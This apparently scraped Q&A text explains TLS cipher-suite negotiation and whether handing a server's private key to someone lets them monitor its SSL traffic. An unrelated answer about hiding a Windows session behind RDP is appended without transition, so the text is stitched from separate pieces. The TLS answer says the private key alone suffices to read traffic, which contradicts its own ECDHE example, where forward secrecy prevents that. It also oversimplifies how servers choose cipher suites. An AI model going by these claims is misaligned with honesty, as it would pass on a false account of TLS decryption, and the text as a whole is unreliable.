Based on the above answer I will have the most important question - suppose I am providing my server's private key to somebody so that he can monitor the SSL traffic for my server, then apart from providing him the private key what all other things I need to take care. And do I need to tell him the algorithm or cipher I am using at server?

The browser will generate a session key and encrypt it using server's public key. But which encryption algorithm (or commonly
  called as cipher algorithm) will be used by the browser?

  How is cipher selection determined, and will browser and server both use the same cipher/key size for encryption and decryption?

The browser will send a list of cipher suites to the server that it supports.  This answer will explain what a cipher suite is in detail, but basically a cipher suite is a list of algorithms to use for the secure communication.  A cipher suite contains:

TLS Version
Key Exchange Algorithm
Signing Algorithm
Symmetric Encryption Algorithm
Integrity Algorithm

For example: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

The browser sends a list of supported cipher suites to the server, and the server chooses the most secure cipher suite that it supports.  If it doesn't support any in the list then the connection fails.  The symmetric encryption algorithm is what the session key is used for.  In SSL/TLS, keys are generated from the pre-master secret.

  Once SSL handshake is completed, all communication will be encrypted using the symmetric session key, but again which encryption
  algorithm will be used by the browser?

Again, the symmetric algorithm in the cipher suite will be used for the encrypted communication.  In the example above it would be 128-bit AES in GCM mode.

  Is the encryption algorithm used by browser in any way dependant upon certificate received from server?

  Or is all encryption performed by the browser performed with the same cipher algorithm?

It is in no way dependent on the certificate.  All encryption is performed by the symmetric encryption algorithm in the cipher suite chosen by the server.

  Please correct me if I am wrong, the algorithm or cipher information is also present in the certificate? How does that
  information stored in the certificate?

  While generating the certificate do I need to state which algorithm, how many bits encryption, padding etc.?

The algorithm and cipher for the secure communication is not in the certificate, but as stated above within the cipher suite chosen by the server.  The certificate only contains information relating to the certificate itself.  Which includes, but not limited to, validity information, signing algorithm, issuer information etc.

  Based on the above answer I will have the most important question -
  suppose I am providing my server's private key to somebody so that he
  can monitor the SSL traffic for my server, then apart from providing
  him the private key what all other things I need to take care. And do
  I need to tell him the algorithm or cipher I am using at server?

I would highly recommend not providing your server's private key for SSL traffic monitoring (for reasons outside the scope of this question).  However, if you do decide to share your private key the other party doesn't need any other information.  As the algorithm and cipher are not included in the certificate.


How to conceal a computer in operation with a separate logon password? Goal: Disallow people physically near the computer to see its operations.

No password to start the computer.
But, I'd like to conceal the screen after startup and all programs loaded.
Because of the administrator being away from the location of the physical computer.
The screen should lock (while applications are running in the background).

This can be easily done with RDP and Windows 10 Pro. Just set it up normally, and then you connect via RDP. There will then be 2 sessions on the computer, one console, that is visible to the local user, and one remote RDP session, that is only visible to the administrator.

The administrator session can be taken over from the local console, but only if you know the administrator password.